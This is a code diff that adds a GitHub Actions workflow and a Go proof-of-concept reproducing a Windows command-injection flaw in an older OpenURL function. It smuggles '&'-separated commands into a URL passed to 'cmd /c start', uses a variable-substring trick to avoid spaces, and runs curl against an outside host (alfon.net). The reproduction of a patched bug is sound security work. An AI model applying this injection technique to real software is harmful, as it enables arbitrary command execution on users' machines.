diff --git a/.github/workflows/windows-openurl-repro.yml b/.github/workflows/windows-openurl-repro.yml new file mode 100644 index 00000000..41a0937c --- /dev/null +++ b/.github/workflows/windows-openurl-repro.yml @@ -0,0 +1,30 @@ +name: windows-openurl-repro + +on: + pull_request: + paths: + - .github/workflows/windows-openurl-repro.yml + - scripts/repro_windows_openurl/** + workflow_dispatch: + +permissions: + contents: read + +jobs: + unpatched-cmd-start: + runs-on: windows-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 + with: + go-version-file: go.mod + cache: true + - name: Reproduce v0.1.2 cmd /c start injection + run: go run ./scripts/repro_windows_openurl + - name: Point at alfon.net query + if: always() + shell: bash + run: | + echo "Look for http://alfon.net?g${{ github.run_id }} in alfon.net / Cloudflare logs." + echo "run_id=${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" + echo "lookup=http://alfon.net?g${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" diff --git a/scripts/repro_windows_openurl/main.go b/scripts/repro_windows_openurl/main.go new file mode 100644 index 00000000..74bfeb35 --- /dev/null +++ b/scripts/repro_windows_openurl/main.go @@ -0,0 +1,88 @@ +// Command repro_windows_openurl reproduces the v0.1.2 Windows OpenURL sink: +// exec.Command("cmd", "/c", "start", "", url) with a customer-ID-shaped +// payload. Current main uses ShellExecuteW instead; this binary talks to +// cmd.exe directly so the unpatched parser can be observed on a GHA runner. +// +// The payload writes a local marker and GETs http://alfon.net?g. +// It does not read files or send secrets. +package main + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "time" +) + +func main() { + if runtime.GOOS != "windows" { + fmt.Fprintln(os.Stderr, "windows only") + os.Exit(2) + } + + runID := os.Getenv("GITHUB_RUN_ID") + if runID == "" { + runID = "local" + } + + cwd, err := os.Getwd() + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + marker := filepath.Join(cwd, "RCBB_CLI_EXECUTED.txt") + httpBody := filepath.Join(cwd, "RCBB_HTTP.txt") + _ = os.Remove(marker) + _ = os.Remove(httpBody) + + // No literal spaces/tabs/quotes: Go's EscapeArg would quote the whole + // URL and cmd.exe would not treat & as a command separator. A comma is + // not a reliable argv splitter for external exes, so expand a space + // from %ProgramFiles% ("C:\Program Files", index 10). + sp := `%ProgramFiles:~10,1%` + url := "https://app.revenuecat.com/projects/x/customers/rcbb" + + `&echo>%CD%\RCBB_CLI_EXECUTED.txt` + + `&curl.exe` + sp + `-s` + sp + `-o` + sp + `%CD%\RCBB_HTTP.txt` + sp + + `http://alfon.net?g` + runID + + fmt.Printf("run_id=%s\n", runID) + fmt.Printf("lookup=http://alfon.net?g%s\n", runID) + fmt.Printf("url=%s\n", url) + fmt.Printf("::notice::alfon.net query g%s\n", runID) + + cmd := exec.Command("cmd", "/c", "start", "", url) + cmd.Dir = cwd + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Run(); err != nil { + fmt.Fprintf(os.Stderr, "cmd.Run: %v\n", err) + } + + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if _, err := os.Stat(marker); err == nil { + break + } + time.Sleep(200 * time.Millisecond) + } + + if _, err := os.Stat(marker); err != nil { + fmt.Fprintln(os.Stderr, "FAIL: marker not created; & split did not run") + os.Exit(1) + } + fmt.Println("PASS: local marker created (cmd.exe parsed &)") + + b, err := os.ReadFile(httpBody) + if err != nil || len(b) == 0 { + fmt.Fprintln(os.Stderr, "FAIL: injected curl did not write HTTP body") + os.Exit(1) + } + fmt.Printf("http_body_len=%d\n", len(b)) + head := b + if len(head) > 256 { + head = head[:256] + } + fmt.Printf("http_body_head=%q\n", head) +}